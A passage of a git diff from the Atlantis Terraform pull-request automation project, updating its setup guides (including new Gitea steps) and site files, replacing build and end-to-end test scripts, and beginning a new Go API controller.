-[https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) + +To test drive Atlantis on an example repo, download the latest release from +[GitHub](https://github.com/runatlantis/atlantis/releases) Once you've extracted the archive, run: + ```bash ./atlantis testdrive ``` This mode sets up Atlantis on a test repo so you can try it out. It will + - Fork an example Terraform project into your GitHub account - Install Terraform (if not already in your PATH) - Install [ngrok](https://ngrok.com/) so we can expose Atlantis to GitHub - Start Atlantis so you can execute commands on the pull request ## Next Steps -* If you're ready to test out running Atlantis on **your repos** then read [Testing Locally](testing-locally.html). -* If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](/docs/installation-guide.html). + +- If you're ready to test out running Atlantis on **your repos** then read [Testing Locally](testing-locally.md). +- If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](../docs/installation-guide.md). diff --git a/runatlantis.io/guide/testing-locally.md b/runatlantis.io/guide/testing-locally.md index ff715926b4..a51ef04dfe 100644 --- a/runatlantis.io/guide/testing-locally.md +++ b/runatlantis.io/guide/testing-locally.md @@ -1,62 +1,67 @@ # Testing Locally + These instructions are for running Atlantis **locally on your own computer** so you can test it out against your own repositories before deciding whether to install it more permanently. ::: tip -If you want to set up a production-ready Atlantis installation, read [Deployment](../docs/deployment.html). +If you want to set up a production-ready Atlantis installation, read [Deployment](../docs/deployment.md). ::: Steps: -[[toc]] - ## Install Terraform + `terraform` needs to be in the `$PATH` for Atlantis. -Download from [https://www.terraform.io/downloads.html](https://www.terraform.io/downloads.html) -``` +Download from [Terraform](https://developer.hashicorp.com/terraform/downloads) + +```shell unzip path/to/terraform_*.zip -d /usr/local/bin ``` ## Download Atlantis -Get the latest release from [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) + +Get the latest release from [GitHub](https://github.com/runatlantis/atlantis/releases) and unpackage it. ## Download Ngrok + Atlantis needs to be accessible somewhere that github.com/gitlab.com/bitbucket.org or your GitHub/GitLab Enterprise installation can reach. One way to accomplish this is with ngrok, a tool that forwards your local port to a random public hostname. -Go to [https://ngrok.com/download](https://ngrok.com/download), download ngrok and `unzip` it. +[Download](https://ngrok.com/download) ngrok and `unzip` it. Start `ngrok` on port `4141` and take note of the hostname it gives you: + ```bash ./ngrok http 4141 ``` In a new tab (where you'll soon start Atlantis) create an environment variable with ngrok's hostname: + ```bash URL="https://{YOUR_HOSTNAME}.ngrok.io" ``` ## Create a Webhook Secret + GitHub and GitLab use webhook secrets so clients can verify that the webhooks came from them. -::: warning -Bitbucket Cloud (bitbucket.org) doesn't use webhook secrets so if you're using Bitbucket Cloud you can skip this step. -When you're ready to do a production deploy of Atlantis you should allowlist [Bitbucket IPs](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) -to ensure the webhooks are coming from them. -::: -Create a random string of any length (you can use [https://www.random.org/strings/](https://www.random.org/strings/)) + +Create a random string of any length (you can use [random.org](https://www.random.org/strings/)) and set an environment variable: -``` + +```shell SECRET="{YOUR_RANDOM_STRING}" ``` ## Add Webhook + Take the URL that ngrok output and create a webhook in your GitHub, GitLab or Bitbucket repo: ### GitHub or GitHub Enterprise Webhook +
Expand
    @@ -82,11 +87,12 @@ Take the URL that ngrok output and create a webhook in your GitHub, GitLab or Bi
### GitLab or GitLab Enterprise Webhook +
Expand
  • Go to your repo's home page
  • -
  • Click Settings > Integrations in the sidebar
  • +
  • Click Settings > Webhooks in the sidebar
  • set URL to your ngrok url with /events at the end. Ex. https://c5004d84.ngrok.io/events
  • double-check you added /events to the end of your URL.
  • set Secret Token to your random string
  • @@ -103,6 +109,7 @@ Take the URL that ngrok output and create a webhook in your GitHub, GitLab or Bi
### Bitbucket Cloud (bitbucket.org) Webhook +
Expand
    @@ -124,6 +131,7 @@ Take the URL that ngrok output and create a webhook in your GitHub, GitLab or Bi
### Bitbucket Server (aka Stash) Webhook +
Expand
    @@ -135,56 +143,104 @@ Take the URL that ngrok output and create a webhook in your GitHub, GitLab or Bi
  • Set URL to your ngrok url with /events at the end. Ex. https://c5004d84.ngrok.io/events
  • Double-check you added /events to the end of your URL.
  • Set Secret to your random string
  • -
  • Under Repository select Push
  • -
  • Under Pull Request, select: Opened, Modified, Merged, Declined, Deleted and Comment added
  • -
  • Click SaveBitbucket Webhook
  • +
  • Under Pull Request, select: Opened, Source branch updated, Merged, Declined, Deleted and Comment added
  • +
  • Click SaveBitbucket Webhook
+### Gitea Webhook + +
+ Expand +
    +
  • Click Settings > Webhooks in the top- and then sidebar
  • +
  • Click Add webhook > Gitea (Gitea webhooks are service specific, but this works)
  • +
  • set Target URL to http://$URL/events (or https://$URL/events if you're using SSL) where $URL is where Atlantis is hosted. Be sure to add /events
  • +
  • double-check you added /events to the end of your URL.
  • +
  • set Secret to the Webhook Secret you generated previously +
      +
    • NOTE If you're adding a webhook to multiple repositories, each repository will need to use the same secret.
    • +
    +
  • +
  • Select Custom Events...
  • +
  • Check the boxes +
      +
    • Repository events > Push
    • +
    • Issue events > Issue Comment
    • +
    • Pull Request events > Pull Request
    • +
    • Pull Request events > Pull Request Comment
    • +
    • Pull Request events > Pull Request Reviewed
    • +
    • Pull Request events > Pull Request Synchronized
    • +
    +
  • +
  • Leave Active checked
  • +
  • Click Add Webhook
  • +
  • See Next Steps
  • +
+
## Create an access token for Atlantis + We recommend using a dedicated CI user or creating a new user named **@atlantis** that performs all API actions, however for testing, you can use your own user. Here we'll create the access token that Atlantis uses to comment on the pull request and set commit statuses. ### GitHub or GitHub Enterprise Access Token -- follow [https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/#creating-a-token](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/#creating-a-token) + +- Create a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token) - create a token with **repo** scope - set the token as an environment variable -``` + +```shell TOKEN="{YOUR_TOKEN}" ``` ### GitLab or GitLab Enterprise Access Token -- follow [https://docs.gitlab.com/ce/user/profile/personal_access_tokens.html#creating-a-personal-access-token](https://docs.gitlab.com/ce/user/profile/personal_access_tokens.html#creating-a-personal-access-token) + +- follow [GitLab: Create a personal access token](https://docs.gitlab.com/user/profile/personal_access_tokens/#create-a-personal-access-token) - create a token with **api** scope - set the token as an environment variable -``` + +```shell TOKEN="{YOUR_TOKEN}" ``` ### Bitbucket Cloud (bitbucket.org) Access Token -- follow [https://confluence.atlassian.com/bitbucket/app-passwords-828781300.html#Apppasswords-Createanapppassword](https://confluence.atlassian.com/bitbucket/app-passwords-828781300.html#Apppasswords-Createanapppassword) + +- follow [BitBucket Cloud: Create an app password](https://support.atlassian.com/bitbucket-cloud/docs/create-an-app-password/) - Label the password "atlantis" - Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them - set the token as an environment variable -``` + +```shell TOKEN="{YOUR_TOKEN}" ``` ### Bitbucket Server (aka Stash) Access Token + - Click on your avatar in the top right and select **Manage account** -- Click **Personal access tokens** in the sidebar -- Click **Create a token** +- Click **HTTP access tokens** in the sidebar +- Click **Create token** - Name the token **atlantis** - Give the token **Read** Project permissions and **Write** Pull request permissions -- Click **create** and set the token as an environment variable -``` +- Choose an Expiry option **Do not expire** or **Expire automatically** +- Click **Create** and set the token as an environment variable + +```shell TOKEN="{YOUR_TOKEN}" ``` +### Gitea Access Token + +- Go to "Profile and Settings" > "Settings" in Gitea (top-right) +- Go to "Applications" under "User Settings" in Gitea +- Create a token under the "Manage Access Tokens" with the following permissions: + - issue: Read and Write + - repository: Read and Write +- Record the access token ## Start Atlantis + You're almost ready to start Atlantis, just set two more variables: ```bash @@ -195,9 +251,11 @@ REPO_ALLOWLIST="$YOUR_GIT_HOST/$YOUR_USERNAME/$YOUR_REPO" # server without scheme or port and $YOUR_USERNAME will be the name of the **project** the repo # is under, **not the key** of the project. ``` + Now you can start Atlantis. The exact command differs depending on your Git host: ### GitHub Command + ```bash atlantis server \ --atlantis-url="$URL" \ @@ -208,6 +266,7 @@ atlantis server \ ``` ### GitHub Enterprise Command + ```bash HOSTNAME=YOUR_GITHUB_ENTERPRISE_HOSTNAME # ex. github.runatlantis.io atlantis server \ @@ -220,6 +279,7 @@ atlantis server \ ``` ### GitLab Command + ```bash atlantis server \ --atlantis-url="$URL" \ @@ -230,6 +290,7 @@ atlantis server \ ``` ### GitLab Enterprise Command + ```bash HOSTNAME=YOUR_GITLAB_ENTERPRISE_HOSTNAME # ex. gitlab.runatlantis.io atlantis server \ @@ -242,6 +303,7 @@ atlantis server \ ``` ### Bitbucket Cloud (bitbucket.org) Command + ```bash atlantis server \ --atlantis-url="$URL" \ @@ -251,6 +313,7 @@ atlantis server \ ``` ### Bitbucket Server (aka Stash) Command + ```bash BASE_URL=YOUR_BITBUCKET_SERVER_URL # ex. http://bitbucket.mycorp:7990 atlantis server \ @@ -262,7 +325,7 @@ atlantis server \ --repo-allowlist="$REPO_ALLOWLIST" ``` -##### Azure DevOps +### Azure DevOps A certificate and private key are required if using Basic authentication for webhooks. @@ -278,42 +341,71 @@ atlantis server \ --ssl-key-file=file.key ``` +### Gitea + +```bash +atlantis server \ +--atlantis-url="$URL" \ +--gitea-user="$ATLANTIS_GITEA_USER" \ +--gitea-token="$ATLANTIS_GITEA_TOKEN" \ +--gitea-webhook-secret="$ATLANTIS_GITEA_WEBHOOK_SECRET" \ +--gitea-base-url="$ATLANTIS_GITEA_BASE_URL" \ +--gitea-page-size="$ATLANTIS_GITEA_PAGE_SIZE" \ +--repo-allowlist="$REPO_ALLOWLIST" +--ssl-cert-file=file.crt +--ssl-key-file=file.key +``` + ## Create a pull request + Create a pull request so you can test Atlantis. ::: tip You could add a null resource as a test: + ```hcl resource "null_resource" "example" {} ``` + Or just modify the whitespace in a file. ::: ### Autoplan + You should see Atlantis logging about receiving the webhook and you should see the output of `terraform plan` on your repo. Atlantis tries to figure out the directory to plan in based on the files modified. If you need to customize the directories that Atlantis runs in or the commands it runs if you're using workspaces -or `.tfvars` files, see [atlantis.yaml Reference](/docs/repo-level-atlantis-yaml.html#reference). +or `.tfvars` files, see [atlantis.yaml Reference](../docs/repo-level-atlantis-yaml.md#reference). ### Manual Plan + To manually `plan` in a specific directory or workspace, comment on the pull request using the `-d` or `-w` flags: -``` + +```shell atlantis plan -d mydir atlantis plan -w staging ``` To add additional arguments to the underlying `terraform plan` you can use: -``` + +```shell atlantis plan -- -target=resource -var 'foo=bar' ``` ### Apply + If you'd like to `apply`, type a comment: `atlantis apply`. You can use the `-d` or `-w` flags to point Atlantis at a specific plan. Otherwise it tries to apply the plan for the root directory. +## Real-time logs + +The [real-time terraform output](../docs/streaming-logs.md) for your command can be found by clicking into the status check for a given project in a PR which +links to the log-streaming UI. This is a terminal UI where you can view your commands executing in real-time. + ## Next Steps -* If things are working as expected you can `Ctrl-C` the `atlantis server` command and the `ngrok` command. -* Hopefully Atlantis is working with your repo and you're ready to move on to a [production-ready deployment](../docs/deployment.html). -* If it's not working as expected, you may need to customize how Atlantis runs with an `atlantis.yaml` file. -See [atlantis.yaml use cases](/docs/repo-level-atlantis-yaml.html#use-cases). -* Check out our [full documentation](../docs/) for more details. + +- If things are working as expected you can `Ctrl-C` the `atlantis server` command and the `ngrok` command. +- Hopefully Atlantis is working with your repo and you're ready to move on to a [production-ready deployment](../docs/deployment.md). +- If it's not working as expected, you may need to customize how Atlantis runs with an `atlantis.yaml` file. +See [atlantis.yaml use cases](../docs/repo-level-atlantis-yaml.md#use-cases). +- Check out our [full documentation](../docs.md) for more details. diff --git a/runatlantis.io/index.md b/runatlantis.io/index.md new file mode 100644 index 0000000000..032f67179a --- /dev/null +++ b/runatlantis.io/index.md @@ -0,0 +1,43 @@ +--- +# https://vitepress.dev/reference/default-theme-home-page +layout: home + +pageClass: home-custom + +hero: + name: Atlantis + text: Terraform Pull Request Automation + tagline: Running Terraform Workflows with Ease + image: /hero.png + actions: + - theme: brand + text: Get Started + link: /guide + - theme: alt + text: What is Atlantis? + link: /blog/2017/introducing-atlantis + - theme: alt + text: Join us on Slack + link: https://slack.cncf.io/ + +features: + - title: Fewer Mistakes + details: "Catch errors in Terraform plan output before applying changes. Ensure changes are applied before merging." + icon: ✅ + - title: Empower Developers + details: "Developers can safely submit Terraform pull requests without credentials. Require approvals for applies." + icon: đŸ’ģ + - title: Instant Audit Logs + details: "Detailed logs for infrastructure changes, approvals, and user actions. Configure approvals for production changes." + icon: 📋 + - title: Proven at Scale + details: "Used by top companies to manage over 600 repos with 300 developers. In production since 2017." + icon: 🌍 + - title: Self-Hosted + details: "Your credentials remain secure. Deployable on VMs, Kubernetes, Fargate, etc. Supports GitHub, GitLab, Bitbucket, Azure DevOps." + icon: âš™ī¸ + - title: Open Source + details: "Atlantis is an open source project with strong community support, powered by volunteer contributions." + icon: 🌐 + +--- diff --git a/runatlantis.io/.vuepress/public/apple-touch-icon-114x114.png b/runatlantis.io/public/apple-touch-icon-114x114.png similarity index 100% rename from runatlantis.io/.vuepress/public/apple-touch-icon-114x114.png rename to runatlantis.io/public/apple-touch-icon-114x114.png diff --git a/runatlantis.io/.vuepress/public/apple-touch-icon-120x120.png b/runatlantis.io/public/apple-touch-icon-120x120.png similarity index 100% rename from runatlantis.io/.vuepress/public/apple-touch-icon-120x120.png rename to runatlantis.io/public/apple-touch-icon-120x120.png diff --git a/runatlantis.io/.vuepress/public/apple-touch-icon-144x144.png b/runatlantis.io/public/apple-touch-icon-144x144.png similarity index 100% rename from runatlantis.io/.vuepress/public/apple-touch-icon-144x144.png rename to runatlantis.io/public/apple-touch-icon-144x144.png diff --git a/runatlantis.io/.vuepress/public/apple-touch-icon-152x152.png b/runatlantis.io/public/apple-touch-icon-152x152.png similarity index 100% rename from runatlantis.io/.vuepress/public/apple-touch-icon-152x152.png rename to runatlantis.io/public/apple-touch-icon-152x152.png diff --git a/runatlantis.io/.vuepress/public/apple-touch-icon-57x57.png b/runatlantis.io/public/apple-touch-icon-57x57.png similarity index 100% rename from runatlantis.io/.vuepress/public/apple-touch-icon-57x57.png rename to runatlantis.io/public/apple-touch-icon-57x57.png diff --git a/runatlantis.io/.vuepress/public/apple-touch-icon-60x60.png b/runatlantis.io/public/apple-touch-icon-60x60.png similarity index 100% rename from runatlantis.io/.vuepress/public/apple-touch-icon-60x60.png rename to runatlantis.io/public/apple-touch-icon-60x60.png diff --git a/runatlantis.io/.vuepress/public/apple-touch-icon-72x72.png b/runatlantis.io/public/apple-touch-icon-72x72.png similarity index 100% rename from runatlantis.io/.vuepress/public/apple-touch-icon-72x72.png rename to runatlantis.io/public/apple-touch-icon-72x72.png diff --git a/runatlantis.io/.vuepress/public/apple-touch-icon-76x76.png b/runatlantis.io/public/apple-touch-icon-76x76.png similarity index 100% rename from runatlantis.io/.vuepress/public/apple-touch-icon-76x76.png rename to runatlantis.io/public/apple-touch-icon-76x76.png diff --git a/runatlantis.io/.vuepress/public/favicon-128.png b/runatlantis.io/public/favicon-128.png similarity index 100% rename from runatlantis.io/.vuepress/public/favicon-128.png rename to runatlantis.io/public/favicon-128.png diff --git a/runatlantis.io/.vuepress/public/favicon-16x16.png b/runatlantis.io/public/favicon-16x16.png similarity index 100% rename from runatlantis.io/.vuepress/public/favicon-16x16.png rename to runatlantis.io/public/favicon-16x16.png diff --git a/runatlantis.io/.vuepress/public/favicon-196x196.png b/runatlantis.io/public/favicon-196x196.png similarity index 100% rename from runatlantis.io/.vuepress/public/favicon-196x196.png rename to runatlantis.io/public/favicon-196x196.png diff --git a/runatlantis.io/.vuepress/public/favicon-32x32.png b/runatlantis.io/public/favicon-32x32.png similarity index 100% rename from runatlantis.io/.vuepress/public/favicon-32x32.png rename to runatlantis.io/public/favicon-32x32.png diff --git a/runatlantis.io/.vuepress/public/favicon-96x96.png b/runatlantis.io/public/favicon-96x96.png similarity index 100% rename from runatlantis.io/.vuepress/public/favicon-96x96.png rename to runatlantis.io/public/favicon-96x96.png diff --git a/runatlantis.io/.vuepress/public/favicon.ico b/runatlantis.io/public/favicon.ico similarity index 100% rename from runatlantis.io/.vuepress/public/favicon.ico rename to runatlantis.io/public/favicon.ico diff --git a/runatlantis.io/.vuepress/public/hero.png b/runatlantis.io/public/hero.png similarity index 100% rename from runatlantis.io/.vuepress/public/hero.png rename to runatlantis.io/public/hero.png diff --git a/runatlantis.io/.vuepress/public/hightower-super-dope.svg b/runatlantis.io/public/hightower-super-dope.svg similarity index 100% rename from runatlantis.io/.vuepress/public/hightower-super-dope.svg rename to runatlantis.io/public/hightower-super-dope.svg diff --git a/runatlantis.io/.vuepress/public/mstile-144x144.png b/runatlantis.io/public/mstile-144x144.png similarity index 100% rename from runatlantis.io/.vuepress/public/mstile-144x144.png rename to runatlantis.io/public/mstile-144x144.png diff --git a/runatlantis.io/.vuepress/public/mstile-150x150.png b/runatlantis.io/public/mstile-150x150.png similarity index 100% rename from runatlantis.io/.vuepress/public/mstile-150x150.png rename to runatlantis.io/public/mstile-150x150.png diff --git a/runatlantis.io/.vuepress/public/mstile-310x150.png b/runatlantis.io/public/mstile-310x150.png similarity index 100% rename from runatlantis.io/.vuepress/public/mstile-310x150.png rename to runatlantis.io/public/mstile-310x150.png diff --git a/runatlantis.io/.vuepress/public/mstile-310x310.png b/runatlantis.io/public/mstile-310x310.png similarity index 100% rename from runatlantis.io/.vuepress/public/mstile-310x310.png rename to runatlantis.io/public/mstile-310x310.png diff --git a/runatlantis.io/.vuepress/public/mstile-70x70.png b/runatlantis.io/public/mstile-70x70.png similarity index 100% rename from runatlantis.io/.vuepress/public/mstile-70x70.png rename to runatlantis.io/public/mstile-70x70.png diff --git a/scripts/binary-release.sh b/scripts/binary-release.sh deleted file mode 100755 index 255786bc79..0000000000 --- a/scripts/binary-release.sh +++ /dev/null @@ -1,50 +0,0 @@ -#!/bin/bash - -# define architecture we want to build -XC_ARCH=${XC_ARCH:-"386 amd64 arm"} -XC_OS=${XC_OS:-linux darwin} -XC_EXCLUDE_OSARCH="!darwin/arm !darwin/386" - -# clean up -echo "-> running clean up...." -rm -rf output/* - -if ! which gox > /dev/null; then - echo "-> installing gox..." - # Need to run go get in a separate dir - # so it doesn't modify our go.mod. - SRC_DIR=$(pwd) - cd $(mktemp -d) - go mod init example.com/m - go get -u github.com/mitchellh/gox - cd "$SRC_DIR" -fi - -# build -# we want to build statically linked binaries -export CGO_ENABLED=0 -echo "-> building..." -gox \ - -os="${XC_OS}" \ - -arch="${XC_ARCH}" \ - -osarch="${XC_EXCLUDE_OSARCH}" \ - -output "output/{{.OS}}_{{.Arch}}/atlantis" \ - . - -# Zip and copy to the dist dir -echo "" -echo "Packaging..." -for PLATFORM in $(find ./output -mindepth 1 -maxdepth 1 -type d); do - OSARCH=$(basename ${PLATFORM}) - echo "--> ${OSARCH}" - - pushd $PLATFORM >/dev/null 2>&1 - zip ../atlantis_${OSARCH}.zip ./* - popd >/dev/null 2>&1 -done - -echo "" -echo "" -echo "-----------------------------------" -echo "Output:" -ls -alh output/ diff --git a/scripts/download-release.sh b/scripts/download-release.sh new file mode 100755 index 0000000000..8b661bf1a1 --- /dev/null +++ b/scripts/download-release.sh @@ -0,0 +1,33 @@ +#!/bin/sh +COMMAND_NAME=${1:-terraform} +TARGETPLATFORM=${2:-"linux/amd64"} +DEFAULT_VERSION=${3:-"1.8.0"} +AVAILABLE_VERSIONS=${4:-"1.8.0"} +case "${TARGETPLATFORM}" in + "linux/amd64") ARCH=amd64 ;; + "linux/arm64") ARCH=arm64 ;; + "linux/arm/v7") ARCH=arm ;; + *) echo "ERROR: 'TARGETPLATFORM' value unexpected: ${TARGETPLATFORM}"; exit 1 ;; +esac +for VERSION in ${AVAILABLE_VERSIONS}; do + case "${COMMAND_NAME}" in + "terraform") + DOWNLOAD_URL_FORMAT=$(printf 'https://releases.hashicorp.com/terraform/%s/%s_%s' "$VERSION" "$COMMAND_NAME" "$VERSION") + COMMAND_DIR=/usr/local/bin/terraform + ;; + "tofu") + DOWNLOAD_URL_FORMAT=$(printf 'https://github.com/opentofu/opentofu/releases/download/v%s/%s_%s' "$VERSION" "$COMMAND_NAME" "$VERSION") + COMMAND_DIR=/usr/local/bin/tofu + ;; + *) echo "ERROR: 'COMMAND_NAME' value unexpected: ${COMMAND_NAME}"; exit 1 ;; + esac + curl -LOs "${DOWNLOAD_URL_FORMAT}_linux_${ARCH}.zip" + curl -LOs "${DOWNLOAD_URL_FORMAT}_SHA256SUMS" + sed -n "/${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip/p" "${COMMAND_NAME}_${VERSION}_SHA256SUMS" | sha256sum -c + mkdir -p "${COMMAND_DIR}/${VERSION}" + unzip "${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip" -d "${COMMAND_DIR}/${VERSION}" + ln -s "${COMMAND_DIR}/${VERSION}/${COMMAND_NAME}" "${COMMAND_DIR}/${COMMAND_NAME}${VERSION}" + rm "${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip" + rm "${COMMAND_NAME}_${VERSION}_SHA256SUMS" +done +ln -s "${COMMAND_DIR}/${DEFAULT_VERSION}/${COMMAND_NAME}" "${COMMAND_DIR}/${COMMAND_NAME}" diff --git a/scripts/e2e-deps.sh b/scripts/e2e-deps.sh deleted file mode 100755 index 6791d918fb..0000000000 --- a/scripts/e2e-deps.sh +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env bash - -echo "Preparing to run e2e tests" -if [ ! -f atlantis ]; then - echo "atlantis binary not found. exiting...." - exit 1 -fi -cp atlantis ${CIRCLE_WORKING_DIRECTORY}/e2e/ - -# cd into e2e folder -cd e2e/ -# Download terraform -curl -LOk https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_amd64.zip -unzip terraform_${TERRAFORM_VERSION}_linux_amd64.zip -chmod +x terraform -cp terraform /go/bin/ -# Download ngrok to create a tunnel to expose atlantis server -wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip -unzip ngrok-stable-linux-amd64.zip -chmod +x ngrok -wget https://stedolan.github.io/jq/download/linux64/jq -chmod +x jq -# Copy github config file - replace with circleci user later -cp .gitconfig ~/.gitconfig \ No newline at end of file diff --git a/scripts/e2e.sh b/scripts/e2e.sh index b513233cc7..d9fda42109 100755 --- a/scripts/e2e.sh +++ b/scripts/e2e.sh @@ -2,35 +2,79 @@ set -euo pipefail IFS=$'\n\t' +ATLANTIS_PID="" +NGROK_PID="" + +function cleanup() { + cleanupPid "$ATLANTIS_PID" + cleanupPid "$NGROK_PID" +} + +function cleanupPid() { + local pid="$1" + # Never set, no need to clean up + if [[ "$pid" == "" ]] + then + return + fi + # Somehow pid was not number, just being careful + if ! [[ "$pid" =~ ^[0-9]+$ ]] + then + return + fi + # Not currently running, no need to kill + if ! ps -p "$pid" &>/dev/null + then + return + fi + kill $pid +} -# download all the tooling needed for e2e tests -CIRCLE_WORKING_DIRECTORY="${CIRCLE_WORKING_DIRECTORY/#\~/$HOME}" # https://discuss.circleci.com/t/circle-working-directory-doesnt-expand/17007/5 -${CIRCLE_WORKING_DIRECTORY}/scripts/e2e-deps.sh -cd "${CIRCLE_WORKING_DIRECTORY}/e2e" # start atlantis server in the background and wait for it to start +# It's the responsibility of the caller of this script to set the github, gitlab, etc. +# permissions via environment variable ./atlantis server \ - --gh-user="$GITHUB_USERNAME" \ - --gh-token="$GITHUB_PASSWORD" \ --data-dir="/tmp" \ --log-level="debug" \ - --repo-allowlist="github.com/runatlantis/atlantis-tests" \ - --allow-repo-config &> /tmp/atlantis-server.log & + --repo-allowlist="github.com/runatlantis/atlantis-tests,gitlab.com/runatlantis/atlantis-tests" \ + --repo-config-json='{"repos":[{"id":"/.*/", "allowed_overrides":["apply_requirements","workflow"], "allow_custom_workflows":true}]}' \ + &> /tmp/atlantis-server.log & +ATLANTIS_PID=$! sleep 2 +if ! ps -p "$ATLANTIS_PID" &>/dev/null +then + echo "Atlantis failed to start" + cat /tmp/atlantis-server.log + exit 1 +fi +echo "Atlantis is running..." # start ngrok in the background and wait for it to start -./ngrok http 4141 > /tmp/ngrok.log & +./ngrok config add-authtoken $NGROK_AUTH_TOKEN > /dev/null 2>&1 +./ngrok http 4141 > /tmp/ngrok.log 2>&1 & +NGROK_PID=$! sleep 2 +if ! ps -p "$NGROK_PID" &>/dev/null +then + cleanup + echo "Ngrok failed to start" + cat /tmp/ngrok.log + exit 1 +fi +echo "Ngrok is running..." # find out what URL ngrok has given us -export ATLANTIS_URL=$(curl -s 'http://localhost:4040/api/tunnels' | jq -r '.tunnels[] | select(.proto=="http") | .public_url') +export ATLANTIS_URL=$(curl -s 'http://localhost:4040/api/tunnels' | jq -r '.tunnels[] | select(.proto=="https") | .public_url') # Now we can start the e2e tests +cd "${GITHUB_WORKSPACE:-$(git rev-parse --show-toplevel)}/e2e" echo "Running 'make build'" make build echo "Running e2e test: 'make run'" set +e +estatus=0 make run if [[ $? -eq 0 ]] then @@ -39,5 +83,7 @@ else echo "e2e tests failed" echo "atlantis logs:" cat /tmp/atlantis-server.log - exit 1 + estatus=1 fi +cleanup +exit $estatus diff --git a/scripts/fmt.sh b/scripts/fmt.sh new file mode 100755 index 0000000000..b8a5aef752 --- /dev/null +++ b/scripts/fmt.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash + +set -euo pipefail + +go install golang.org/x/tools/cmd/goimports@latest + +gobin="$(go env GOPATH)/bin" +declare -r gobin + +declare -a files +readarray -d '' files < <(find . -type f -name '*.go' ! -name 'mock_*' ! -path './vendor/*' ! -path '**/mocks/*' -print0) +declare -r files + +output="$("${gobin}"/goimports -l "${files[@]}")" +declare -r output + +if [[ -n "$output" ]]; then + echo "These files had their 'import' changed - please fix them locally and push a fix" + + echo "$output" + + exit 1 +fi diff --git a/scripts/go-generate.sh b/scripts/go-generate.sh new file mode 100755 index 0000000000..370817c153 --- /dev/null +++ b/scripts/go-generate.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +set -eou pipefail + +pkgs=$(go list ./... | grep -v mocks | grep -v matchers | grep -v e2e | grep -v static) +for pkg in $pkgs; do + echo "go generate $pkg" + go generate $pkg +done diff --git a/scripts/pin_ci_terraform_providers.sh b/scripts/pin_ci_terraform_providers.sh new file mode 100755 index 0000000000..bd84ec53bc --- /dev/null +++ b/scripts/pin_ci_terraform_providers.sh @@ -0,0 +1,74 @@ +#!/bin/bash + +# Script to pin terraform providers in e2e tests + +RANDOM_PROVIDER_VERSION="3.6.1" +NULL_PROVIDER_VERSION="3.2.4" + +TEST_REPOS_DIR="server/controllers/events/testdata/test-repos" + +for file in $(find $TEST_REPOS_DIR -name '*.tf') +do + basename=$(basename $file) + if [[ "$basename" == "versions.tf" ]] + then + continue + fi + if [[ "$basename" != "main.tf" ]] + then + echo "Found unexpected file: $file" + exit 1 + fi + has_null_provider=false + has_random_provider=false + + version_file="$(dirname $file)/versions.tf" + for resource in $(cat $file | grep '^resource' | awk '{print $2}' | tr -d '"') + do + if [[ "$resource" == "null_resource" ]] + then + has_null_provider=true + elif [[ "$resource" == "random_id" ]] + then + has_random_provider=true + else + echo "Unknown resource $resource in $file" + exit 1 + fi + done + if ! $has_null_provider && ! $has_random_provider + then + echo "No providers needed for $file" + continue + fi + echo "Adding $version_file for $file" + rm -f $version_file + if $has_null_provider + then + echo 'provider "null" {}' >> $version_file + fi + if $has_random_provider + then + echo 'provider "random" {}' >> $version_file + fi + echo "terraform {" >> $version_file + echo " required_providers {" >> $version_file + + if $has_random_provider + then + echo " random = {" >> $version_file + echo ' source = "hashicorp/random"' >> $version_file + echo " version = \"= $RANDOM_PROVIDER_VERSION\"" >> $version_file + echo " }" >> $version_file + fi + if $has_null_provider + then + echo " null = {" >> $version_file + echo ' source = "hashicorp/null"' >> $version_file + echo " version = \"= $NULL_PROVIDER_VERSION\"" >> $version_file + echo " }" >> $version_file + fi + echo " }" >> $version_file + echo "}" >> $version_file + +done diff --git a/server/controllers/api_controller.go b/server/controllers/api_controller.go new file mode 100644 index 0000000000..59f03d6819 --- /dev/null +++ b/server/controllers/api_controller.go @@ -0,0 +1,352 @@ +package controllers + +import ( + "encoding/json" + "fmt" + "io" + "net/http" + "strings" + "time" + + "github.com/go-playground/validator/v10" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/logging" + tally "github.com/uber-go/tally/v4" +) + +const atlantisTokenHeader = "X-Atlantis-Token" + +type APIController struct { + APISecret []byte + Locker locking.Locker `validate:"required"` + Logger logging.SimpleLogging `validate:"required"` + Parser events.EventParsing `validate:"required"` + ProjectCommandBuilder events.ProjectCommandBuilder `validate:"required"` + ProjectPlanCommandRunner events.ProjectPlanCommandRunner `validate:"required"` + ProjectApplyCommandRunner events.ProjectApplyCommandRunner `validate:"required"` + FailOnPreWorkflowHookError bool + PreWorkflowHooksCommandRunner events.PreWorkflowHooksCommandRunner `validate:"required"` + PostWorkflowHooksCommandRunner events.PostWorkflowHooksCommandRunner `validate:"required"` + RepoAllowlistChecker *events.RepoAllowlistChecker `validate:"required"` + Scope tally.Scope `validate:"required"` + VCSClient vcs.Client `validate:"required"` + WorkingDir events.WorkingDir `validate:"required"` + WorkingDirLocker events.WorkingDirLocker `validate:"required"` + CommitStatusUpdater events.CommitStatusUpdater `validate:"required"` +} + +type APIRequest struct { + Repository string `validate:"required"` + Ref string `validate:"required"` + Type string `validate:"required"` + PR int + Projects []string + Paths []struct { + Directory string + 